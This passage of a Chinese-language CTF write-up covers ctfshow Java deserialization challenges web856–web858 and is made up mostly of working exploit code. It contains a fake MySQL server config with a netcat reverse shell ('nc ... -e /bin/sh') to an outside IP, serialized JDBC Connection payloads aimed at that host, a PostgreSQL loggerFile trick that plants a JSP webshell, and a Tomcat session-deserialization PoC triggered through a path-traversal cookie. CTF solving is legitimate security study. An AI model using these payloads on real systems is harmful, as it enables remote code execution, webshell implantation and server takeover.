Connection that = (Connection) o;
return Objects.equals(host, that.host) && Objects.equals(port, that.port) && Objects.equals(user, that.user) && Objects.equals(database, that.database);
}
@Override
public int hashCode() {
return Objects.hash(host, port, user, database);
}
}
|
Connection#readObject中直接进行链接,典型的 jdbc 打 Mysql
https://github.com/fnmsd/MySQL_Fake_Server 修改 config.json 如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| {
"config":{
"ysoserialPath":"/root/expJar/ysoserial-all.jar",
"javaBinPath":"java",
"fileOutputDir":"./fileOutput/",
"displayFileContentOnScreen":true,
"saveToFile":true
},
"fileread":{
"win_ini":"c:\\windows\\win.ini",
"win_hosts":"c:\\windows\\system32\\drivers\\etc\\hosts",
"win":"c:\\windows\\",
"linux_passwd":"/etc/passwd",
"linux_hosts":"/etc/hosts",
"index_php":"index.php",
"ssrf":"https://www.baidu.com/",
"__defaultFiles":["/etc/hosts","c:\\windows\\system32\\drivers\\etc\\hosts"]
},
"yso":{
"baozongwi":["CommonsCollections4","nc 154.36.152.109 4444 -e /bin/sh"]
}
}
|
mysql-connector-java 5.1.39,无所谓,直接打
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
| package com.ctfshow.entity;
import java.io.*;
import java.lang.reflect.Field;
public class web856 {
public static void main(String[] args) throws Exception {
Connection connection = new Connection();
setFieldValue(connection,"schema","jdbc:mysql");
setFieldValue(connection, "host", "154.36.152.109");
setFieldValue(connection, "port", 3307);
setFieldValue(connection, "user", new User("baozongwi", "123456"));
setFieldValue(connection,"database","detectCustomCollations=true&autoDeserialize=true");
byte[] data = serialize(connection);
String base64 = java.util.Base64.getEncoder().encodeToString(data);
System.out.println(base64);
unserialize(data);
}
private static void setFieldValue(Object obj, String field, Object value) throws Exception {
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, value);
}
private static byte[] serialize(Object obj) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.close();
return baos.toByteArray();
}
private static Object unserialize(byte[] bytes) throws IOException, ClassNotFoundException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bais);
return ois.readObject();
}
}
|
需要注意两个细节,本地包名和远程包名一致,由于我是 python3.11 所以我还需要做一个脚本的修复,只需要在前面的 import 头修改如下
1
2
3
4
5
6
7
8
9
10
| import asyncio
import types
if not hasattr(asyncio, 'coroutine'):
asyncio.coroutine = types.coroutine
if not hasattr(asyncio, 'ensure_future'):
asyncio.ensure_future = asyncio.create_task
import logging
import signal
import random
signal.signal(signal.SIGINT, signal.SIG_DFL)
|
web857
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
| package com.ctfshow.entity;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.sql.DriverManager;
import java.sql.SQLException;
import java.util.Objects;
public class Connection implements Serializable {
private static final long serialVersionUID = 2807147458202078901L;
private String driver;
private String schema;
private String host;
private int port;
private User user;
private String database;
public String getDriver() {
return driver;
}
public void setDriver(String driver) {
this.driver = driver;
}
public String getSchema() {
return schema;
}
public void setSchema(String schema) {
this.schema = schema;
}
public void setPort(int port) {
this.port = port;
}
public String getHost() {
return host;
}
public void setHost(String host) {
this.host = host;
}
public User getUser() {
return user;
}
public void setUser(User user) {
this.user = user;
}
public String getDatabase() {
return database;
}
public void setDatabase(String database) {
this.database = database;
}
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException, SQLException {
ObjectInputStream.GetField gf = in.readFields();
String host = (String) gf.get("host", "127.0.0.1");
String driver = (String) gf.get("driver","com.mysql.jdbc.Driver");
int port = (int) gf.get("port",3306);
User user = (User) gf.get("user",new User("root","root"));
String database = (String) gf.get("database", "ctfshow");
String schema = (String) gf.get("schema", "jdbc:mysql");
Class.forName(driver);
DriverManager.getConnection( schema+"://"+host+":"+port+"/?"+database+"&user="+user.getUsername());
}
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (!(o instanceof Connection)) return false;
Connection that = (Connection) o;
return Objects.equals(host, that.host) && Objects.equals(port, that.port) && Objects.equals(user, that.user) && Objects.equals(database, that.database);
}
@Override
public int hashCode() {
return Objects.hash(host, port, user, database);
}
}
|
postgresql 42.3.1 直接写入 webshell 即可
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
| package com.ctfshow.entity;
import java.io.*;
import java.lang.reflect.Field;
public class web857 {
public static void main(String[] args) throws Exception {
Connection connection = new Connection();
setFieldValue(connection,"driver","org.postgresql.Driver");
setFieldValue(connection,"schema","jdbc:postgresql");
setFieldValue(connection, "host", "154.36.152.109");
setFieldValue(connection, "port", 3307);
setFieldValue(connection, "user", new User("baozongwi", "123456"));
setFieldValue(connection,"database","password=123456&loggerLevel=debug&loggerFile=../webapps/ROOT/b.jsp&<%Runtime.getRuntime().exec(request.getParameter(\"cmd\"));%>");
byte[] data = serialize(connection);
String base64 = java.util.Base64.getEncoder().encodeToString(data);
System.out.println(base64);
unserialize(data);
}
private static void setFieldValue(Object obj, String field, Object value) throws Exception {
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, value);
}
private static byte[] serialize(Object obj) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.close();
return baos.toByteArray();
}
private static Object unserialize(byte[] bytes) throws IOException, ClassNotFoundException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bais);
return ois.readObject();
}
}
|
链接之后就getshell了,写入的shell是无回显的,所以直接反弹shell即可
web858

Tomcat session反序列化漏洞
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
| package com.ctfshow.entity;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class User implements Serializable {
private static final long serialVersionUID = -3254536114659397781L;
private String username;
private String password;
public String getUsername() {
return username;
}
public void setUsername(String username) {
this.username = username;
}
public String getPassword() {
return password;
}
public void setPassword(String password) {
this.password = password;
}
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
Runtime.getRuntime().exec(this.username);
}
}
|
可以直接命令执行,而且也是可直接反序列化的,poc如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| package com.ctfshow.entity;
import java.io.*;
import java.lang.reflect.Field;
public class web858 {
public static void main(String[] args) throws Exception{
User user = new User();
setFieldValue(user,"username","cp /flag /usr/local/tomcat/webapps/ROOT/flag.txt");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("aaa.session"));
objectOutputStream.writeObject(user);
objectOutputStream.close();
}
private static void setFieldValue(Object obj, String field, Object value) throws Exception {
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, value);
}
}
|
上传得到路径 /usr/local/tomcat/webapps/ROOT/WEB-INF/upload/aaa.session,触发然后获得 flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| GET / HTTP/1.1
Host: 2edf9384-f7ab-4594-b86f-5ebac387d328.challenge.ctf.show
Cookie: JSESSIONID=../../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/upload/aaa
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Priority: u=0, i
Connection: close
|
https://hoylindo.github.io/2023/12/19/CTFSHOW-Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-wp/
https://evo1ution.cn/2023/08/26/ctfshow-web4/
https://forum.butian.net/share/1339